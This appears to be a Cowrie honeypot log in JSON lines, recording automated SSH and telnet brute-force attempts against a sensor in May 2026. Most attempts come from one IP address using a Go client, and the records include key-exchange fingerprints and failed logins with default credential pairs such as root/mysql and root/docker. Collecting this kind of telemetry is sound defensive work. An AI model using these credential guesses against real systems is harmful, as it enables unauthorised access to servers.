{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:25.327126Z","src_ip":"113.0.152.164","session":"b01236da4562","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:26.033991Z","src_ip":"113.0.152.164","session":"b01236da4562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.171.177.193","src_port":37020,"dst_ip":"159.203.135.109","dst_port":23,"session":"829a0fdc1168","protocol":"telnet","message":"New connection: 45.171.177.193:37020 (159.203.135.109:23) [session: 829a0fdc1168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:26.301838Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:27.271702Z","src_ip":"113.0.152.164","session":"b01236da4562","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":34632,"dst_ip":"159.203.135.109","dst_port":22,"session":"906166bb5ebb","protocol":"ssh","message":"New connection: 113.0.152.164:34632 (159.203.135.109:22) [session: 906166bb5ebb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:27.497866Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:27.502358Z","src_ip":"113.0.152.164","session":"906166bb5ebb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:27.735178Z","src_ip":"113.0.152.164","session":"906166bb5ebb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:28.434122Z","src_ip":"113.0.152.164","session":"906166bb5ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":49994,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e1453cdfc96","protocol":"ssh","message":"New connection: 64.89.163.156:49994 (10.17.0.5:22) [session: 5e1453cdfc96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:28.867661Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:28.956877Z","src_ip":"64.89.163.156","session":"5e1453cdfc96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.89.163.156","src_port":50000,"dst_ip":"10.17.0.5","dst_port":22,"session":"b1fd50dd0bde","protocol":"ssh","message":"New connection: 64.89.163.156:50000 (10.17.0.5:22) [session: b1fd50dd0bde]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:29.044196Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:29.051756Z","src_ip":"64.89.163.156","session":"b1fd50dd0bde","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:29.139064Z","src_ip":"64.89.163.156","session":"b1fd50dd0bde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"caja01","password":"caja01","message":"login attempt [caja01/caja01] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:29.402205Z","src_ip":"64.89.163.156","session":"b1fd50dd0bde","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:29.669110Z","src_ip":"113.0.152.164","session":"906166bb5ebb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":36810,"dst_ip":"159.203.135.109","dst_port":22,"session":"c4b448daba32","protocol":"ssh","message":"New connection: 113.0.152.164:36810 (159.203.135.109:22) [session: c4b448daba32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:29.894644Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:29.899932Z","src_ip":"113.0.152.164","session":"c4b448daba32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:30.131157Z","src_ip":"113.0.152.164","session":"c4b448daba32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:30.492029Z","src_ip":"64.89.163.156","session":"b1fd50dd0bde","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql","message":"login attempt [root/mysql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:30.825346Z","src_ip":"113.0.152.164","session":"c4b448daba32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:32.059308Z","src_ip":"113.0.152.164","session":"c4b448daba32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":38688,"dst_ip":"159.203.135.109","dst_port":22,"session":"d714345bb68e","protocol":"ssh","message":"New connection: 113.0.152.164:38688 (159.203.135.109:22) [session: d714345bb68e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:32.294839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:32.302774Z","src_ip":"113.0.152.164","session":"d714345bb68e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:32.537974Z","src_ip":"113.0.152.164","session":"d714345bb68e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"apache","message":"login attempt [root/apache] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:33.243318Z","src_ip":"113.0.152.164","session":"d714345bb68e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:34.481643Z","src_ip":"113.0.152.164","session":"d714345bb68e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":40726,"dst_ip":"159.203.135.109","dst_port":22,"session":"1be58cfcc435","protocol":"ssh","message":"New connection: 113.0.152.164:40726 (159.203.135.109:22) [session: 1be58cfcc435]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:34.750055Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:34.755616Z","src_ip":"113.0.152.164","session":"1be58cfcc435","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:35.009267Z","src_ip":"113.0.152.164","session":"1be58cfcc435","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"docker","message":"login attempt [root/docker] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:35.771025Z","src_ip":"113.0.152.164","session":"1be58cfcc435","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:37.027827Z","src_ip":"113.0.152.164","session":"1be58cfcc435","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":42764,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad075544e6ed","protocol":"ssh","message":"New connection: 113.0.152.164:42764 (159.203.135.109:22) [session: ad075544e6ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:37.238480Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:37.243180Z","src_ip":"113.0.152.164","session":"ad075544e6ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:37.477366Z","src_ip":"113.0.152.164","session":"ad075544e6ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"vps","message":"login attempt [root/vps] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:38.180399Z","src_ip":"113.0.152.164","session":"ad075544e6ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.915233850479126,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:39.216975Z","src_ip":"45.171.177.193","session":"829a0fdc1168","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:39.417835Z","src_ip":"113.0.152.164","session":"ad075544e6ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":44736,"dst_ip":"159.203.135.109","dst_port":22,"session":"99d0c15b5605","protocol":"ssh","message":"New connection: 113.0.152.164:44736 (159.203.135.109:22) [session: 99d0c15b5605]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:39.688378Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:39.693622Z","src_ip":"113.0.152.164","session":"99d0c15b5605","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:39.947611Z","src_ip":"113.0.152.164","session":"99d0c15b5605","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"host","message":"login attempt [root/host] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:40.709032Z","src_ip":"113.0.152.164","session":"99d0c15b5605","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:41.966253Z","src_ip":"113.0.152.164","session":"99d0c15b5605","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":46898,"dst_ip":"159.203.135.109","dst_port":22,"session":"256d42b456b9","protocol":"ssh","message":"New connection: 113.0.152.164:46898 (159.203.135.109:22) [session: 256d42b456b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:42.169088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:42.174264Z","src_ip":"113.0.152.164","session":"256d42b456b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:42.408256Z","src_ip":"113.0.152.164","session":"256d42b456b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"www","message":"login attempt [root/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:43.128442Z","src_ip":"113.0.152.164","session":"256d42b456b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:44.361841Z","src_ip":"113.0.152.164","session":"256d42b456b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"113.0.152.164","src_port":48812,"dst_ip":"159.203.135.109","dst_port":22,"session":"af2a2d4fa2ee","protocol":"ssh","message":"New connection: 113.0.152.164:48812 (159.203.135.109:22) [session: af2a2d4fa2ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:33:44.596193Z"}
